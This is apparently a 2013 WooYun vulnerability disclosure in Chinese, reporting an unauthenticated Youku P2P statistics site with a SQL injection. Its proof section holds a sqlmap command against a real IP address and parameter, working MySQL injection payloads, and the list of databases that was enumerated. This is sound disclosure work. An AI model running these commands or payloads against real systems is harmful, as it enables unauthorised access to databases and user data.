当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-036057

漏洞标题:优酷P2P系统数据统计系统sql注入漏洞

相关厂商:优酷

漏洞作者: 想要减肥的胖纸

提交时间:2013-09-04 08:16

修复时间:2013-10-19 08:17

公开时间:2013-10-19 08:17

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:3

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-04: 细节已通知厂商并且等待厂商处理中
2013-09-04: 厂商已经确认,细节仅向厂商公开
2013-09-14: 细节向核心白帽子及相关领域专家公开
2013-09-24: 细节向普通白帽子公开
2013-10-04: 细节向实习白帽子公开
2013-10-19: 细节向公众公开

简要描述:

p2p数据统计系统未经认证可以看到youku的用户统计信息、流量信息等,并存在SQL注入。

详细说明:

https://211.151.146.45:443/
可以看到各种统计信息。

漏洞证明:

sqlmap.py -u "https://211.151.146.45/hour_relay_summary.php" --data "supregion=1" --dbs
sqlmap/1.0-dev-28eca21 - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:34:04
[00:34:04] [INFO] resuming back-end DBMS 'mysql'
[00:34:04] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: supregion
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: supregion=1 AND 7801=7801
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: supregion=1 AND (SELECT 4011 FROM(SELECT COUNT(*),CONCAT(0x7175696571,(SELECT (CASE WHEN (4011=4011) THEN 1 ELSE 0 END)),0x71626a6971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 19 columns
Payload: supregion=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7175696571,0x42554d6b6f4149785248,0x71626a6971),NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: supregion=1 AND SLEEP(5)
---
[00:34:04] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: Apache 2.0.63, PHP 5.1.6
back-end DBMS: MySQL 5.0
[00:34:04] [INFO] fetching database names
available databases [12]:
[*] iku_common
[*] iku_server
[*] ikumini
[*] information_schema
[*] p2p_kl_stat_daily
[*] p2p_kl_stat_history
[*] p2p_kl_stat_recent
[*] p2p_user
[*] p2pstat_daily
[*] p2pstat_new
[*] p2pstat_recent
[*] test

修复方案:

限制对统计站点的访问、并过略。

版权声明:转载请注明来源 想要减肥的胖纸@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2013-09-04 08:20

厂商回复:

修复中

最新状态:

暂无